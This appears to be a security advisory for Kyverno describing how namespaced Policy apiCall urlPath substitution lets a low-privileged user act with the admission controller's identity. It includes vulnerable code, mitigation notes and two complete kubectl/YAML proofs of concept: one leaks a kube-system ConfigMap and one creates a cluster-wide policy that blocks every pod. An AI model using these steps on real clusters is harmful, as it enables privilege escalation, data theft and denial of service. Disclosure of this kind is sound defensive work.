| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/kyverno/kyverno | ≥ 1.16.0-rc.1, < 1.16.3< 1.15.3 | 1.16.31.15.3 |
| kyverno | ≥ 1.16.0, < 1.16.3< 1.15.3 | 1.16.31.15.3 |
A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.
As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.
The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.
In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath.
// pkg/engine/apicall/apiCall.go
func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {
// Variable substitution happens here
call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)
// ...
data, err := a.Execute(ctx, &call.APICall)
In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method.
// pkg/engine/apicall/executor.go
func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {
// ...
// Path is used directly in the raw API call
jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)
Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.
The following steps demonstrate how a user restricted to the namespace (with no access to ) can read a sensitive ConfigMap from the namespace.
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Scan my site freedefaultkube-systemkube-system0. Setup kind + Kyverno
Tested with Kyverno v1.16.1 on k8s v1.34.0.
kind create cluster
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace
1. Setup target and low-privileged user
Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.
# Create confidential data in kube-system
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data
# Create a restricted service account
kubectl create sa policy-admin -n default
# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
--verb=create,get,list,update,delete \
--resource=policies.kyverno.io,configmaps
# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
--role=policy-admin-role \
--serviceaccount=default:policy-admin
# Verify the user cannot access kube-system
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no
2. Create malicious policy as the restricted user
Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: cross-ns-leak
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: leak-config
match:
resources:
kinds:
- ConfigMap
context:
- name: leakedData
apiCall:
# Injection happens here via annotations
urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
jmesPath: "data.key"
validate:
# The leaked data is returned in the denial message
message: "LEAKED DATA: {{leakedData}}"
deny: {}
EOF
3. Trigger the leak
As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-leak
namespace: default
annotations:
target_ns: "kube-system"
target_name: "target-cm"
data: {}
EOF
4. Result
The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-leak was blocked due to the following policies
cross-ns-leak:
leak-config: 'LEAKED DATA: confidential-data'
Continue from the setup from the previous PoC.
This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.
1. Apply a malicious policy
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: mutation-cpol
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: create-malicious-cpol
match:
resources:
kinds:
- ConfigMap
context:
- name: mutation
apiCall:
urlPath: "/apis/kyverno.io/v1/clusterpolicies"
method: POST
data:
- key: apiVersion
value: "kyverno.io/v1"
- key: kind
value: "ClusterPolicy"
- key: metadata
value:
name: "malicious-cpol"
- key: spec
value:
validationFailureAction: Enforce
rules:
- name: block-all
match:
resources:
kinds:
- Pod
validate:
message: "Blocked by malicious policy"
deny: {}
validate:
message: "Created ClusterPolicy: {{mutation.metadata.name}}"
deny: {}
EOF
2. Trigger the policy
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cpol
namespace: default
data: {}
EOF
This outputs an error:
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-cpol was blocked due to the following policies
mutation-cpol:
create-malicious-cpol: ""
3. Observe the new cluster policy
kubectl get clusterpolicy malicious-cpol
Outputs:
NAME ADMISSION BACKGROUND READY AGE MESSAGE
malicious-cpol true true True 4m58s Ready
4. Verify that no new pods can be created (even as a cluster admin)
Run:
kubectl run --image=nginx foo
Outputs:
Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:
resource Pod/default/foo was blocked due to the following policies
malicious-cpol:
block-all: Blocked by malicious policy
Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions.ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.The following command should be run on a per-environment basis to understand impact:
kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list
By default, this does not include Secrets.
The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.
The mitigation logic validates the urlPath for namespaced policies by ensuring:
/namespaces/<namespace>/ segment.This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.